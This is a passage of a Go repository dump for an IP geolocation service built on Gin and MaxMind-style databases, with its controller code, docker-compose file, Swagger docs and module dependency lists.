34 | func initGenerator() { 35 | st := sonyflake.Settings{ 36 | StartTime: time.Date(2023, 1, 1, 0, 0, 0, 0, time.UTC), 37 | } 38 | flake := sonyflake.NewSonyflake(st) 39 | if flake == nil { 40 | logger.FatalLog("sonyflake not created") 41 | } 42 | generator = &SnowflakeGenerator{ 43 | flake: flake, 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /controller/main.go: -------------------------------------------------------------------------------- 1 | package controller 2 | 3 | import ( 4 | "fmt" 5 | "github.com/gin-gonic/gin" 6 | "go-geoip/common" 7 | logger "go-geoip/common/loggger" 8 | "go-geoip/model" 9 | "net" 10 | "net/http" 11 | "strings" 12 | ) 13 | 14 | // IP查询 15 | // @Summary IP查询 16 | // @Description IP查询 17 | // @Tags IP查询 18 | // @Produce json 19 | // @Param ip path string true "IP address" 20 | // @Success 200 {object} model.IPInfoResponse "Successful response" 21 | // @Router /ip/{ip} [get] 22 | func Ip(c *gin.Context) { 23 | ip := c.Param("ip") 24 | if ip == "" { 25 | ip = c.ClientIP() 26 | } 27 | handleIpInfoResponse(c, ip) 28 | } 29 | 30 | func IpNoArgs(c *gin.Context) { 31 | ip := getRealClientIP(c) 32 | handleIpInfoResponse(c, ip) 33 | } 34 | 35 | func handleIpInfoResponse(c *gin.Context, ip string) { 36 | info, err := getIpInfo(ip) 37 | if err != nil { 38 | common.SendResponse(c, http.StatusInternalServerError, 1, "error", err.Error()) 39 | return 40 | } 41 | common.SendResponse(c, http.StatusOK, 0, "success", info) 42 | } 43 | 44 | func getRealClientIP(c *gin.Context) string { 45 | if xff := c.GetHeader("X-Forwarded-For"); xff != "" { 46 | ips := strings.Split(xff, ",") 47 | if len(ips) > 0 { 48 | realIP := strings.TrimSpace(ips[0]) 49 | logger.Info(c, fmt.Sprintf("X-Forwarded-For IP: %s", realIP)) 50 | return realIP 51 | } 52 | } 53 | if xrip := c.GetHeader("X-Real-IP"); xrip != "" { 54 | logger.Info(c, fmt.Sprintf("X-Real-IP: %s", xrip)) 55 | return xrip 56 | } 57 | clientIP := c.ClientIP() 58 | logger.Info(c, fmt.Sprintf("Default ClientIP: %s", clientIP)) 59 | return clientIP 60 | } 61 | 62 | func getIpInfo(ip string) (*model.IPInfoResponse, error) { 63 | parsedIP := net.ParseIP(ip) 64 | if parsedIP == nil { 65 | return nil, fmt.Errorf("invalid IP address") 66 | } 67 | 68 | info := &model.IPInfoResponse{IP: ip} 69 | 70 | common.Mu.Lock() 71 | defer common.Mu.Unlock() 72 | 73 | if err := populateASInfo(parsedIP, info); err != nil { 74 | return nil, err 75 | } 76 | 77 | if err := populateCityInfo(parsedIP, info); err != nil { 78 | return nil, err 79 | } 80 | 81 | if info.Country == "中国" { 82 | populateCnInfo(ip, info) 83 | } 84 | 85 | return info, nil 86 | } 87 | 88 | func populateASInfo(parsedIP net.IP, info *model.IPInfoResponse) error { 89 | var asn model.ASN 90 | if err := common.AsnReader.Lookup(parsedIP, &asn); err != nil { 91 | return err 92 | } 93 | info.AS = asn.Organization 94 | return nil 95 | } 96 | 97 | func populateCityInfo(parsedIP net.IP, info *model.IPInfoResponse) error { 98 | var city model.City 99 | if network, ok, err := common.CityReader.LookupNetwork(parsedIP, &city); err == nil && ok { 100 | info.Addr = network.String() 101 | info.Country = getCountry(city.Country.Names) 102 | info.RegisteredCountry = getCountry(city.RegisteredCountry.Names) 103 | info.Latitude = city.Location.Latitude 104 | info.Longitude = city.Location.Longitude 105 | info.Subdivisions = getSubdivisions(city.Subdivisions) 106 | info.City = getCityName(city.City.Names) 107 | } else if err != nil { 108 | return err 109 | } 110 | return nil 111 | } 112 | 113 | func populateCnInfo(ip string, info *model.IPInfoResponse) { 114 | parsedIP := net.ParseIP(ip) 115 | if parsedIP == nil { 116 | return 117 | } 118 | 119 | var geoCN model.GeoCN 120 | if network, ok, err := common.CnReader.LookupNetwork(parsedIP, &geoCN); err == nil && ok { 121 | info.Addr = network.String() 122 | if strings.HasSuffix(geoCN.Province, "市") { 123 | info.Province = geoCN.Province 124 | info.City = geoCN.Province 125 | info.District = geoCN.City 126 | } else { 127 | info.Province = geoCN.Province 128 | info.City = geoCN.City 129 | info.District = geoCN.Districts 130 | } 131 | 132 | info.AS = geoCN.ISP 133 | if geoCN.Net != "" { 134 | info.AS += " (" + geoCN.Net + ")" 135 | } 136 | } 137 | } 138 | 139 | func getSubdivisions(subdivisions []model.Subdivision) []string { 140 | var names []string 141 | for _, subdivision := range subdivisions { 142 | if name, exists := subdivision.Names["zh-CN"]; exists { 143 | names = append(names, name) 144 | } else { 145 | names = append(names, subdivision.Names["en"]) 146 | } 147 | } 148 | return names 149 | } 150 | 151 | func getCityName(names map[string]string) string { 152 | if name, exists := names["zh-CN"]; exists { 153 | return name 154 | } 155 | return names["en"] 156 | } 157 | 158 | func getCountry(names map[string]string) string { 159 | if name, ok := names["zh-CN"]; ok { 160 | switch name { 161 | case "香港", "澳门", "台湾": 162 | return "中国" + name 163 | default: 164 | return name 165 | } 166 | } 167 | return names["en"] 168 | } 169 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.4' 2 | 3 | services: 4 | coze-discord-proxy: 5 | image: deanxv/go-geoip:latest 6 | container_name: go-geoip 7 | restart: always 8 | ports: 9 | - "7099:7099" 10 | volumes: 11 | - ./data:/app/go-geoip/data 12 | environment: 13 | - API_SECRET=123456 # [可选]修改此行为请求头校验的值(前后端统一) 14 | - TZ=Asia/Shanghai -------------------------------------------------------------------------------- /docs/docs.go: -------------------------------------------------------------------------------- 1 | // Package docs Code generated by swaggo/swag. DO NOT EDIT 2 | package docs 3 | 4 | import "github.com/swaggo/swag" 5 | 6 | const docTemplate = `{ 7 | "schemes": {{ marshal .Schemes }}, 8 | "swagger": "2.0", 9 | "info": { 10 | "description": "{{escape .Description}}", 11 | "title": "{{.Title}}", 12 | "contact": {}, 13 | "version": "{{.Version}}" 14 | }, 15 | "host": "{{.Host}}", 16 | "basePath": "{{.BasePath}}", 17 | "paths": { 18 | "/ip/{ip}": { 19 | "get": { 20 | "description": "IP查询", 21 | "produces": [ 22 | "application/json" 23 | ], 24 | "tags": [ 25 | "IP查询" 26 | ], 27 | "summary": "IP查询", 28 | "parameters": [ 29 | { 30 | "type": "string", 31 | "description": "IP address", 32 | "name": "ip", 33 | "in": "path", 34 | "required": true 35 | } 36 | ], 37 | "responses": { 38 | "200": { 39 | "description": "Successful response", 40 | "schema": { 41 | "$ref": "#/definitions/model.IPInfoResponse" 42 | } 43 | } 44 | } 45 | } 46 | } 47 | }, 48 | "definitions": { 49 | "model.IPInfoResponse": { 50 | "type": "object", 51 | "properties": { 52 | "addr": { 53 | "type": "string" 54 | }, 55 | "asn": { 56 | "type": "string" 57 | }, 58 | "city": { 59 | "type": "string" 60 | }, 61 | "country": { 62 | "type": "string" 63 | }, 64 | "district": { 65 | "type": "string" 66 | }, 67 | "ip": { 68 | "type": "string" 69 | }, 70 | "latitude": { 71 | "type": "string" 72 | }, 73 | "longitude": { 74 | "type": "string" 75 | }, 76 | "province": { 77 | "type": "string" 78 | }, 79 | "registered_country": { 80 | "type": "string" 81 | }, 82 | "subdivisions": { 83 | "type": "array", 84 | "items": { 85 | "type": "string" 86 | } 87 | } 88 | } 89 | } 90 | } 91 | }` 92 | 93 | // SwaggerInfo holds exported Swagger Info so clients can modify it 94 | var SwaggerInfo = &swag.Spec{ 95 | Version: "", 96 | Host: "", 97 | BasePath: "", 98 | Schemes: []string{}, 99 | Title: "", 100 | Description: "", 101 | InfoInstanceName: "swagger", 102 | SwaggerTemplate: docTemplate, 103 | LeftDelim: "{{", 104 | RightDelim: "}}", 105 | } 106 | 107 | func init() { 108 | swag.Register(SwaggerInfo.InstanceName(), SwaggerInfo) 109 | } 110 | -------------------------------------------------------------------------------- /docs/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unevenvalid/go-geoip/89b704d0a5aeaa722f62eb1e8adc7a8b7d0762f2/docs/img.png -------------------------------------------------------------------------------- /docs/swagger.json: -------------------------------------------------------------------------------- 1 | { 2 | "swagger": "2.0", 3 | "info": { 4 | "contact": {} 5 | }, 6 | "paths": { 7 | "/ip/{ip}": { 8 | "get": { 9 | "description": "IP查询", 10 | "produces": [ 11 | "application/json" 12 | ], 13 | "tags": [ 14 | "IP查询" 15 | ], 16 | "summary": "IP查询", 17 | "parameters": [ 18 | { 19 | "type": "string", 20 | "description": "IP address", 21 | "name": "ip", 22 | "in": "path", 23 | "required": true 24 | } 25 | ], 26 | "responses": { 27 | "200": { 28 | "description": "Successful response", 29 | "schema": { 30 | "$ref": "#/definitions/model.IPInfoResponse" 31 | } 32 | } 33 | } 34 | } 35 | } 36 | }, 37 | "definitions": { 38 | "model.IPInfoResponse": { 39 | "type": "object", 40 | "properties": { 41 | "addr": { 42 | "type": "string" 43 | }, 44 | "asn": { 45 | "type": "string" 46 | }, 47 | "city": { 48 | "type": "string" 49 | }, 50 | "country": { 51 | "type": "string" 52 | }, 53 | "district": { 54 | "type": "string" 55 | }, 56 | "ip": { 57 | "type": "string" 58 | }, 59 | "latitude": { 60 | "type": "string" 61 | }, 62 | "longitude": { 63 | "type": "string" 64 | }, 65 | "province": { 66 | "type": "string" 67 | }, 68 | "registered_country": { 69 | "type": "string" 70 | }, 71 | "subdivisions": { 72 | "type": "array", 73 | "items": { 74 | "type": "string" 75 | } 76 | } 77 | } 78 | } 79 | } 80 | } -------------------------------------------------------------------------------- /docs/swagger.yaml: -------------------------------------------------------------------------------- 1 | definitions: 2 | model.IPInfoResponse: 3 | properties: 4 | addr: 5 | type: string 6 | asn: 7 | type: string 8 | city: 9 | type: string 10 | country: 11 | type: string 12 | district: 13 | type: string 14 | ip: 15 | type: string 16 | latitude: 17 | type: string 18 | longitude: 19 | type: string 20 | province: 21 | type: string 22 | registered_country: 23 | type: string 24 | subdivisions: 25 | items: 26 | type: string 27 | type: array 28 | type: object 29 | info: 30 | contact: {} 31 | paths: 32 | /ip/{ip}: 33 | get: 34 | description: IP查询 35 | parameters: 36 | - description: IP address 37 | in: path 38 | name: ip 39 | required: true 40 | type: string 41 | produces: 42 | - application/json 43 | responses: 44 | "200": 45 | description: Successful response 46 | schema: 47 | $ref: '#/definitions/model.IPInfoResponse' 48 | summary: IP查询 49 | tags: 50 | - IP查询 51 | swagger: "2.0" 52 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module go-geoip 2 | 3 | go 1.23.2 4 | 5 | require ( 6 | github.com/gin-contrib/cors v1.7.2 7 | github.com/gin-contrib/sessions v1.0.1 8 | github.com/gin-gonic/gin v1.10.0 9 | github.com/google/uuid v1.6.0 10 | github.com/oschwald/maxminddb-golang v1.13.1 11 | github.com/samber/lo v1.47.0 12 | github.com/sony/sonyflake v1.2.0 13 | github.com/swaggo/files v1.0.1 14 | github.com/swaggo/gin-swagger v1.6.0 15 | github.com/swaggo/swag v1.16.4 16 | ) 17 | 18 | require ( 19 | github.com/KyleBanks/depth v1.2.1 // indirect 20 | github.com/PuerkitoBio/purell v1.2.1 // indirect 21 | github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 // indirect 22 | github.com/bytedance/sonic v1.12.3 // indirect 23 | github.com/bytedance/sonic/loader v0.2.1 // indirect 24 | github.com/cloudwego/base64x v0.1.4 // indirect 25 | github.com/cloudwego/iasm v0.2.0 // indirect 26 | github.com/gabriel-vasile/mimetype v1.4.6 // indirect 27 | github.com/gin-contrib/sse v0.1.0 // indirect 28 | github.com/go-openapi/jsonpointer v0.21.0 // indirect 29 | github.com/go-openapi/jsonreference v0.21.0 // indirect 30 | github.com/go-openapi/spec v0.21.0 // indirect 31 | github.com/go-openapi/swag v0.23.0 // indirect 32 | github.com/go-playground/locales v0.14.1 // indirect 33 | github.com/go-playground/universal-translator v0.18.1 // indirect 34 | github.com/go-playground/validator/v10 v10.22.1 // indirect 35 | github.com/goccy/go-json v0.10.3 // indirect 36 | github.com/gorilla/context v1.1.2 // indirect 37 | github.com/gorilla/securecookie v1.1.2 // indirect 38 | github.com/gorilla/sessions v1.4.0 // indirect 39 | github.com/josharian/intern v1.0.0 // indirect 40 | github.com/json-iterator/go v1.1.12 // indirect 41 | github.com/klauspost/cpuid/v2 v2.2.8 // indirect 42 | github.com/leodido/go-urn v1.4.0 // indirect 43 | github.com/mailru/easyjson v0.7.7 // indirect 44 | github.com/mattn/go-isatty v0.0.20 // indirect 45 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 46 | github.com/modern-go/reflect2 v1.0.2 // indirect 47 | github.com/pelletier/go-toml/v2 v2.2.3 // indirect 48 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect 49 | github.com/ugorji/go/codec v1.2.12 // indirect 50 | golang.org/x/arch v0.11.0 // indirect 51 | golang.org/x/crypto v0.28.0 // indirect 52 | golang.org/x/net v0.30.0 // indirect 53 | golang.org/x/sys v0.26.0 // indirect 54 | golang.org/x/text v0.19.0 // indirect 55 | golang.org/x/tools v0.26.0 // indirect 56 | google.golang.org/protobuf v1.35.1 // indirect 57 | gopkg.in/yaml.v2 v2.4.0 // indirect 58 | gopkg.in/yaml.v3 v3.0.1 // indirect 59 | ) 60 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/KyleBanks/depth v1.2.1 h1:5h8fQADFrWtarTdtDudMmGsC7GPbOAu6RVB3ffsVFHc= 2 | github.com/KyleBanks/depth v1.2.1/go.mod h1:jzSb9d0L43HxTQfT+oSA1EEp2q+ne2uh6XgeJcm8brE= 3 | github.com/PuerkitoBio/purell v1.1.1 h1:WEQqlqaGbrPkxLJWfBwQmfEAE1Z7ONdDLqrN38tNFfI= 4 | github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0= 5 | github.com/PuerkitoBio/purell v1.2.1 h1:QsZ4TjvwiMpat6gBCBxEQI0rcS9ehtkKtSpiUnd9N28= 6 | github.com/PuerkitoBio/purell v1.2.1/go.mod h1:ZwHcC/82TOaovDi//J/804umJFFmbOHPngi8iYYv/Eo= 7 | github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 h1:d+Bc7a5rLufV/sSk/8dngufqelfh6jnri85riMAaF/M= 8 | github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE= 9 | github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0= 10 | github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4= 11 | github.com/bytedance/sonic v1.12.3 h1:W2MGa7RCU1QTeYRTPE3+88mVC0yXmsRQRChiyVocVjU= 12 | github.com/bytedance/sonic v1.12.3/go.mod h1:B8Gt/XvtZ3Fqj+iSKMypzymZxw/FVwgIGKzMzT9r/rk= 13 | github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM= 14 | github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= 15 | github.com/bytedance/sonic/loader v0.2.1 h1:1GgorWTqf12TA8mma4DDSbaQigE2wOgQo7iCjjJv3+E= 16 | github.com/bytedance/sonic/loader v0.2.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= 17 | github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y= 18 | github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= 19 | github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg= 20 | github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= 21 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 22 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 23 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 24 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 25 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= 26 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= 27 | github.com/gabriel-vasile/mimetype v1.4.6 h1:3+PzJTKLkvgjeTbts6msPJt4DixhT4YtFNf1gtGe3zc= 28 | github.com/gabriel-vasile/mimetype v1.4.6/go.mod h1:JX1qVKqZd40hUPpAfiNTe0Sne7hdfKSbOqqmkq8GCXc= 29 | github.com/gin-contrib/cors v1.7.2 h1:oLDHxdg8W/XDoN/8zamqk/Drgt4oVZDvaV0YmvVICQw= 30 | github.com/gin-contrib/cors v1.7.2/go.mod h1:SUJVARKgQ40dmrzgXEVxj2m7Ig1v1qIboQkPDTQ9t2E= 31 | github.com/gin-contrib/gzip v0.0.6 h1:NjcunTcGAj5CO1gn4N8jHOSIeRFHIbn51z6K+xaN4d4= 32 | github.com/gin-contrib/gzip v0.0.6/go.mod h1:QOJlmV2xmayAjkNS2Y8NQsMneuRShOU/kjovCXNuzzk= 33 | github.com/gin-contrib/sessions v1.0.1 h1:3hsJyNs7v7N8OtelFmYXFrulAf6zSR7nW/putcPEHxI= 34 | github.com/gin-contrib/sessions v1.0.1/go.mod h1:ouxSFM24/OgIud5MJYQJLpy6AwxQ5EYO9yLhbtObGkM= 35 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= 36 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= 37 | github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU= 38 | github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= 39 | github.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= 40 | github.com/go-openapi/jsonpointer v0.19.5 h1:gZr+CIYByUqjcgeLXnQu2gHYQC9o73G2XUeOFYEICuY= 41 | github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= 42 | github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ= 43 | github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY= 44 | github.com/go-openapi/jsonreference v0.19.6 h1:UBIxjkht+AWIgYzCDSv2GN+E/togfwXUJFRTWhl2Jjs= 45 | github.com/go-openapi/jsonreference v0.19.6/go.mod h1:diGHMEHg2IqXZGKxqyvWdfWU/aim5Dprw5bqpKkTvns= 46 | github.com/go-openapi/jsonreference v0.21.0 h1:Rs+Y7hSXT83Jacb7kFyjn4ijOuVGSvOdF2+tg1TRrwQ= 47 | github.com/go-openapi/jsonreference v0.21.0/go.mod h1:LmZmgsrTkVg9LG4EaHeY8cBDslNPMo06cago5JNLkm4= 48 | github.com/go-openapi/spec v0.20.4 h1:O8hJrt0UMnhHcluhIdUgCLRWyM2x7QkBXRvOs7m+O1M= 49 | github.com/go-openapi/spec v0.20.4/go.mod h1:faYFR1CvsJZ0mNsmsphTMSoRrNV3TEDoAM7FOEWeq8I= 50 | github.com/go-openapi/spec v0.21.0 h1:LTVzPc3p/RzRnkQqLRndbAzjY0d0BCL72A6j3CdL9ZY= 51 | github.com/go-openapi/spec v0.21.0/go.mod h1:78u6VdPw81XU44qEWGhtr982gJ5BWg2c0I5XwVMotYk= 52 | github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= 53 | github.com/go-openapi/swag v0.19.15 h1:D2NRCBzS9/pEY3gP9Nl8aDqGUcPFrwG2p+CNFrLyrCM= 54 | github.com/go-openapi/swag v0.19.15/go.mod h1:QYRuS/SOXUCsnplDa677K7+DxSOj6IPNl/eQntq43wQ= 55 | github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE= 56 | github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ= 57 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= 58 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 59 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= 60 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= 61 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= 62 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= 63 | github.com/go-playground/validator/v10 v10.20.0 h1:K9ISHbSaI0lyB2eWMPJo+kOS/FBExVwjEviJTixqxL8= 64 | github.com/go-playground/validator/v10 v10.20.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= 65 | github.com/go-playground/validator/v10 v10.22.1 h1:40JcKH+bBNGFczGuoBYgX4I6m/i27HYW8P9FDk5PbgA= 66 | github.com/go-playground/validator/v10 v10.22.1/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= 67 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= 68 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= 69 | github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA= 70 | github.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= 71 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 72 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 73 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 74 | github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= 75 | github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 76 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 77 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 78 | github.com/gorilla/context v1.1.2 h1:WRkNAv2uoa03QNIc1A6u4O7DAGMUVoopZhkiXWA2V1o= 79 | github.com/gorilla/context v1.1.2/go.mod h1:KDPwT9i/MeWHiLl90fuTgrt4/wPcv75vFAZLaOOcbxM= 80 | github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA= 81 | github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo= 82 | github.com/gorilla/sessions v1.2.2 h1:lqzMYz6bOfvn2WriPUjNByzeXIlVzURcPmgMczkmTjY= 83 | github.com/gorilla/sessions v1.2.2/go.mod h1:ePLdVu+jbEgHH+KWw8I1z2wqd0BAdAQh/8LRvBeoNcQ= 84 | github.com/gorilla/sessions v1.4.0 h1:kpIYOp/oi6MG/p5PgxApU8srsSw9tuFbt46Lt7auzqQ= 85 | github.com/gorilla/sessions v1.4.0/go.mod h1:FLWm50oby91+hl7p/wRxDth9bWSuk0qVL2emc7lT5ik= 86 | github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= 87 | github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= 88 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 89 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 90 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= 91 | github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= 92 | github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= 93 | github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM= 94 | github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= 95 | github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= 96 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 97 | github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= 98 | github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= 99 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 100 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 101 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 102 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 103 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 104 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= 105 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= 106 | github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= 107 | github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= 108 | github.com/mailru/easyjson v0.7.6 h1:8yTIVnZgCoiM1TgqoeTl+LfU5Jg6/xL3QhGQnimLYnA= 109 | github.com/mailru/easyjson v0.7.6/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= 110 | github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= 111 | github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= 112 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 113 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 114 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 115 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 116 | github.com/modern-go/concurrent 